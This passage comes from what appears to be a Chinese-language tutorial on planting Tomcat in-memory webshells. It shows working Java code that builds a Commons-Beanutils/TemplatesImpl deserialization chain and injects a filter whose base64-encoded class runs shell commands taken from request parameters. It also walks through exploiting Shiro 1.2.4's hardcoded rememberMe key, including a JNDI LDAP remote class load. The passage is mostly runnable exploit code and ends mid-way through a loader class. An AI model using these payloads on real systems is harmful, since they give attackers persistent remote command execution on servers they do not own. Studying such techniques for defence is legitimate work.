
@Override
public void destroy() {

}
}

  • 编写JavaToClassBase64类,用于实现将ShellFilter字节码转换为Base64字符串,当然也可以用其他工具直接转换。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.util.Base64;

public class JavaToClassBase64 {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
ClassPool pool = ClassPool.getDefault();
CtClass shellFilterClass = pool.get("ShellFilter");
byte[] bytecode = shellFilterClass.toBytecode();
String base64Code = Base64.getEncoder().encodeToString(bytecode);
System.out.println(base64Code);
}
}

  • Inject类编写,由于我们需要使用TemplatesImpl类进行代码执行,因此我们的Inject和上一节有些许不同,需要继承AbstractTranslet抽象类,并且实现ObjectFactory接口。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import javax.servlet.Filter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Hashtable;

public class Inject extends AbstractTranslet implements ObjectFactory {
public Inject() throws Exception {
StandardContext context = getContextTomcat8();
Filter filter = getFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilterName("shell");
filterDef.setFilter(filter);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("shell");
filterMap.addURLPattern("/*");
context.addFilterDef(filterDef);
context.addFilterMapBefore(filterMap);
context.filterStart();
System.out.println("注入成功!");
}

//catalina的版本需配置为8.0
public StandardContext getContextTomcat8() {
// 获取当前线程的类加载器(Web应用专用)
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

// 获取资源根目录对象,tomcat8.0可以直接通过getResources获取。
StandardRoot standardRoot = (StandardRoot) webappClassLoaderBase.getResources();

// 从资源根目录获取Web应用上下文
return (StandardContext) standardRoot.getContext();
}

//catalina的版本需配置为9.0
public StandardContext getContextTomcat9() {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
//tomcat9.0需要通过反射来获取Resources对象
try {
Field resourcesField = WebappClassLoaderBase.class.getDeclaredField("resources");
resourcesField.setAccessible(true);
StandardRoot standardRoot = (StandardRoot) resourcesField.get(webappClassLoaderBase);
return (StandardContext) standardRoot.getContext();
} catch (Exception e) {
throw new RuntimeException(e);
}
}

public Filter getFilter() throws Exception {
// Base64编码的恶意Filter类字节码
String codeBase64 = "yv66vgAAADQAfQoAFwBECAA2CwBFAEYKAEcASAoARwBJBwBKBwBLCgBMAE0KAAcATgoABgBPBwBQCgALAEQKAAYAUQoACwBSCABTCABUCwBVAFYLAFUAVwoACwBYCgBZAFoKAAYAWwcAXAcAXQcAXgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTFNoZWxsRmlsdGVyOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAF8BAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARwcm9jAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABm91dHB1dAEAGExqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEAB3JlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFwHAGAHAGEHAGIHAGMHAGQHAEoHAFAHAGUBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAEFNoZWxsRmlsdGVyLmphdmEMABkAGgcAYAwAZgBnBwBoDABpAGoMAGsAbAEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBkDABtAG4MABkAbwwAGQBwAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAcQByDABzAHQBAAQ8YnI+AQAYdGV4dC9odG1sOyBjaGFyc2V0PVVURi04BwBhDAB1AHYMAHcAeAwAeQByBwB6DAB7AHYMAHwAGgEAC1NoZWxsRmlsdGVyAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEADnNldENvbnRlbnRUeXBlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAh0b1N0cmluZwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABWNsb3NlACEAFgAXAAEAGAAAAAQAAQAZABoAAQAbAAAALwABAAEAAAAFKrcAAbEAAAACABwAAAAGAAEAAAAGAB0AAAAMAAEAAAAFAB4AHwAAAAEAIAAhAAIAGwAAADUAAAACAAAAAbEAAAACABwAAAAGAAEAAAAKAB0AAAAWAAIAAAABAB4AHwAAAAAAAQAiACMAAQAkAAAABAABACUAAQAmACcAAgAbAAABcAAFAAkAAABuKxICuQADAgA6BBkExgBhuAAEGQS2AAU6BbsABlm7AAdZGQW2AAi3AAm3AAo6BrsAC1m3AAw6CBkGtgANWToHxgATGQgZB7YADhIPtgAOV6f/6CwSELkAEQIALLkAEgEAGQi2ABO2ABQZBrYAFbEAAAADABwAAAAuAAsAAAAPAAoAEAAPABEAGQASAC4AFAA3ABUAQgAWAFIAGABaABkAaAAaAG0AHQAdAAAAXAAJABkAVAAoACkABQAuAD8AKgArAAYAPwAuACwALQAHADcANgAuAC8ACAAAAG4AHgAfAAAAAABuADAAMQABAAAAbgAyADMAAgAAAG4ANAA1AAMACgBkADYALQAEADcAAABaAAP/ADcACQcAOAcAOQcAOgcAOwcAPAcAPQcAPgAHAD8AAP8AGgAJBwA4BwA5BwA6BwA7BwA8BwA9BwA+BwA8BwA/AAD/ABoABQcAOAcAOQcAOgcAOwcAPAAAACQAAAAGAAIAQAAlAAEAQQAaAAEAGwAAACsAAAABAAAAAbEAAAACABwAAAAGAAEAAAAiAB0AAAAMAAEAAAABAB4AHwAAAAEAQgAAAAIAQw==";

// 解码Base64获取原始字节码
byte[] codeBytes = Base64.getDecoder().decode(codeBase64);

// 获取当前线程的类加载器
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

// 反射获取defineClass方法(关键步骤)
Method defineClassMethod = ClassLoader.class.getDeclaredMethod(
"defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true); // 突破访问限制

// 动态定义恶意Filter类
Class clazz = (Class) defineClassMethod.invoke(
contextClassLoader, codeBytes, 0, codeBytes.length);

// 实例化并返回恶意Filter对象
return (Filter) clazz.newInstance();
}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

  • 其实以上实现和上一节2.7中实现的内容一模一样,接下来我们需要实现的是CB反序列化链。

  • 入口类我们使用的是PriorityQueue类,因为要执行代码,所以执行类我们选择的是TemplatesImpl。

  • 构造链代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

import static com.gaomu.Serializer.Deserialize;
import static com.gaomu.Serializer.serialize;

public class ShiroCBTest {
public static void main(String[] args) throws Exception {
//CC2
TemplatesImpl templates = new TemplatesImpl();
Class<?> tc = templates.getClass();

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaaaaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

ClassPool pool = ClassPool.getDefault();
byte[] code1 = pool.get("Inject").toBytecode();//通过javaassist直接获取当前项目指定的类字节码

//byte[] code2 = Files.readAllBytes(Paths.get("D://tmp/TestCC3.class")); //通过class文件获取byteCode

byte[][] codes = {code1};
bytecodesField.set(templates, codes);

//基于CC2这条链进行变动,也就是将TransformingComparator.compare->BeanComparator.compare
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());

PriorityQueue<Object> priorityQueue = new PriorityQueue<>(new TransformingComparator<>(new ConstantTransformer<>(1)));
priorityQueue.add(templates);
priorityQueue.add(2);

Class<PriorityQueue> pc = PriorityQueue.class;
Field comparatorField = pc.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue, beanComparator);

serialize(priorityQueue);
//Deserialize("ser.bin");

}
}
  • 用于序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.gaomu;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Serializer {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(obj);
}
public static Object Deserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
return objectInputStream.readObject();
}
}

  • 可能需要用到的依赖如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.0.53</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.4</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
  • 最终只需要将构造的ser.bin文件传输到目标靶机的反序列化漏洞利用点,即可注入成功。

3.3.Shrio反序列化注入内存马

3.3.1.初始化测试环境

  • getcode
1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
  • 编辑父项目pom文件,将jstl版本修改为1.2
1
2
3
4
5
6
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>

image-20250217173803329

  • 修复工件,部署samples-web:war exploded,exploded表示默认展开的war包,多数用于开发测试环境。

image-20250615124733717

3.3.2.使用反序列化JDNI注入内存马

  • 通过Shrio反序列化漏洞,我们可能首先想到的可能就是通过反序列化链加载字节码的方式。例如利用TemplatesImpl类的getOutputProperties,加载字节码的方式写入内存马。但是这里存在一个限制,那就是说Tomcat的请求头参数长度,最长只能为8K,如果大于这个长度,tomcat会拦截这个请求,抛出异常并返回400。如下图所示

image-20250622141254734

  • 也就是说如果你是通过将执行的注入内存码的执行类写到请求头里,那么无论你如何尝试压缩字节码的长度,都会大于8K的长度,因此我们可以尝试其他方式,例如使用JNDI注入让其远程加载字节码文件,只要目标系统出网,那么我们就能成功注入内存马。

  • 具体步骤如下:

    • 1.编写反序列化利用链CB链,使用TemplatesImpl#getOutputProperties方法加载字节码,执行类需要继承AbstractTranslet方法。
    • 2.在该执行类中使用initialContext加载远程的JNDI服务器,实现远程类加载。
    • 3.这个远程类即为我们之前编写好的内存马注入代码。
  • 代码实现:

  • pom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId><!-- 用于直接在运行时获取类字节码,而不用生成本地文件 -->
<version>3.30.2-GA</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.4</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.0.53</version> <!-- 我使用的靶机tomcat版本是8.0的,因此我这里也使用的是8.0如果目标服务器靶机是高版本的需要使用其他方式获取StandardContext -->
</dependency>
</dependencies>
  • 编写反序列化利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.gaomu;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

import static com.gaomu.Serializer.Deserialize;
import static com.gaomu.Serializer.serialize;

public class ShiroCBTest {
public static void main(String[] args) throws Exception {
//CC2
TemplatesImpl templates = new TemplatesImpl();
Class<?> tc = templates.getClass();

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaaaaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

ClassPool pool = ClassPool.getDefault();
byte[] code1 = pool.get("JNDILoad").toBytecode();//通过javaassist直接获取当前项目指定的类字节码,这里加载的字节码类就是执行的JNDILoad.class,用于连接远程的JNDI服务器

byte[][] codes = {code1};
bytecodesField.set(templates, codes);

//基于CC2这条链进行变动,也就是将TransformingComparator.compare->BeanComparator.compare
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());

PriorityQueue<Object> priorityQueue = new PriorityQueue<>(new TransformingComparator<>(new ConstantTransformer<>(1)));
priorityQueue.add(templates);
priorityQueue.add(2);

Class<PriorityQueue> pc = PriorityQueue.class;
Field comparatorField = pc.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue, beanComparator);

serialize(priorityQueue);
Deserialize("ser.bin");

}

}

  • 继承AbstractTranslet的执行类编写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDILoad extends AbstractTranslet {
public JNDILoad() throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://localhost:1399/Inject");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}
  • 内存马注入类和之前也一样,通过注入Filter中,实现
  • Inject.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.Filter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;


public class Inject extends AbstractTranslet {
public Inject() throws Exception {
StandardContext context = getContextTomcat8();
Filter filter = getFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilterName("shell");
filterDef.setFilter(filter);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("shell");
filterMap.addURLPattern("/*");
context.addFilterDef(filterDef);
context.addFilterMapBefore(filterMap);
context.filterStart();
System.out.println("注入成功!");
}

//catalina的版本需配置为8.0
public StandardContext getContextTomcat8() {
// 获取当前线程的类加载器(Web应用专用)
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

// 获取资源根目录对象,tomcat8.0可以直接通过getResources获取。
StandardRoot standardRoot = (StandardRoot) webappClassLoaderBase.getResources();

// 从资源根目录获取Web应用上下文
return (StandardContext) standardRoot.getContext();
}

//catalina的版本需配置为9.0
public StandardContext getContextTomcat9() {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
//tomcat9.0需要通过反射来获取Resources对象
try {
Field resourcesField = WebappClassLoaderBase.class.getDeclaredField("resources");
resourcesField.setAccessible(true);
StandardRoot standardRoot = (StandardRoot) resourcesField.get(webappClassLoaderBase);
return (StandardContext) standardRoot.getContext();
} catch (Exception e) {
throw new RuntimeException(e);
}
}

public Filter getFilter() throws Exception {
// Base64编码的恶意Filter类字节码
String codeBase64 = "yv66vgAAADQAfQoAFwBECAA2CwBFAEYKAEcASAoARwBJBwBKBwBLCgBMAE0KAAcATgoABgBPBwBQCgALAEQKAAYAUQoACwBSCABTCABUCwBVAFYLAFUAVwoACwBYCgBZAFoKAAYAWwcAXAcAXQcAXgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTFNoZWxsRmlsdGVyOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAF8BAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARwcm9jAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABm91dHB1dAEAGExqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEAB3JlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFwHAGAHAGEHAGIHAGMHAGQHAEoHAFAHAGUBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAEFNoZWxsRmlsdGVyLmphdmEMABkAGgcAYAwAZgBnBwBoDABpAGoMAGsAbAEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBkDABtAG4MABkAbwwAGQBwAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAcQByDABzAHQBAAQ8YnI+AQAYdGV4dC9odG1sOyBjaGFyc2V0PVVURi04BwBhDAB1AHYMAHcAeAwAeQByBwB6DAB7AHYMAHwAGgEAC1NoZWxsRmlsdGVyAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEADnNldENvbnRlbnRUeXBlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAh0b1N0cmluZwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABWNsb3NlACEAFgAXAAEAGAAAAAQAAQAZABoAAQAbAAAALwABAAEAAAAFKrcAAbEAAAACABwAAAAGAAEAAAAGAB0AAAAMAAEAAAAFAB4AHwAAAAEAIAAhAAIAGwAAADUAAAACAAAAAbEAAAACABwAAAAGAAEAAAAKAB0AAAAWAAIAAAABAB4AHwAAAAAAAQAiACMAAQAkAAAABAABACUAAQAmACcAAgAbAAABcAAFAAkAAABuKxICuQADAgA6BBkExgBhuAAEGQS2AAU6BbsABlm7AAdZGQW2AAi3AAm3AAo6BrsAC1m3AAw6CBkGtgANWToHxgATGQgZB7YADhIPtgAOV6f/6CwSELkAEQIALLkAEgEAGQi2ABO2ABQZBrYAFbEAAAADABwAAAAuAAsAAAAPAAoAEAAPABEAGQASAC4AFAA3ABUAQgAWAFIAGABaABkAaAAaAG0AHQAdAAAAXAAJABkAVAAoACkABQAuAD8AKgArAAYAPwAuACwALQAHADcANgAuAC8ACAAAAG4AHgAfAAAAAABuADAAMQABAAAAbgAyADMAAgAAAG4ANAA1AAMACgBkADYALQAEADcAAABaAAP/ADcACQcAOAcAOQcAOgcAOwcAPAcAPQcAPgAHAD8AAP8AGgAJBwA4BwA5BwA6BwA7BwA8BwA9BwA+BwA8BwA/AAD/ABoABQcAOAcAOQcAOgcAOwcAPAAAACQAAAAGAAIAQAAlAAEAQQAaAAEAGwAAACsAAAABAAAAAbEAAAACABwAAAAGAAEAAAAiAB0AAAAMAAEAAAABAB4AHwAAAAEAQgAAAAIAQw==";

// 解码Base64获取原始字节码
byte[] codeBytes = Base64.getDecoder().decode(codeBase64);

// 获取当前线程的类加载器
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

// 反射获取defineClass方法(关键步骤)
Method defineClassMethod = ClassLoader.class.getDeclaredMethod(
"defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true); // 突破访问限制

// 动态定义恶意Filter类
Class clazz = (Class) defineClassMethod.invoke(
contextClassLoader, codeBytes, 0, codeBytes.length);

// 实例化并返回恶意Filter对象
return (Filter) clazz.newInstance();
}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

}

  • 代码写完了打包即可,下面我就做个简单的测试即可。

  • 通过序列化代码生成利用链文件ser.bin

  • 同时靶机中的硬编码密钥是kPH+bIxk5D2deZiIxcaaaA==

image-20250622143459016

  • 我这里使用CyberChif工具对该序列化数据进行AES加密

  • 随机生成一个128位的IV,(用md5加密任意数据的长度就是128位)

image-20250622143711162

  • 选择ser.bin文件,进行加密

image-20250622143821968

  • 将加密IV拼接到密文开头,同时进行BASE64编码。

image-20250622143942161

  • 使用该BASE64密文拼接到cookie中的remember中发送请求,Cookie: rememberMe=ewZNrVB8JmoWH/xzxT.....

  • 此时内存马成功注入。

image-20250622144449286

image-20250622144505535

image-20250622144308254

3.3.3.使用body参数注入内存马

  • 既然不能直接进行注入,可以通过获取到StandardContext,然后获取到Request和Response,这样我们就可以将内存码注入的逻辑写到请求体中,通过加载请求体中的参数的方式执行内存马注入逻辑。
  • 因此我们需要写一个加载器,用于加载请求体中的参数。
  • 该加载器代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.*;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.RequestInfo;


import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;

public class ShellLoader extends AbstractTranslet{
public static Object getField(Object obj, Class<?> clazz, String... fieldNames) throws Exception {
for (String part : fieldNames) {
String[] segs = part.split("_", 2);
Field field = clazz.getDeclaredField(segs[0].split(":")[0]);
field.setAccessible(true);
obj = field.get(obj);
if (segs.length > 1) {
String[] parts = segs[1].split(":", 2);
int idx = Integer.parseInt(parts[0]);
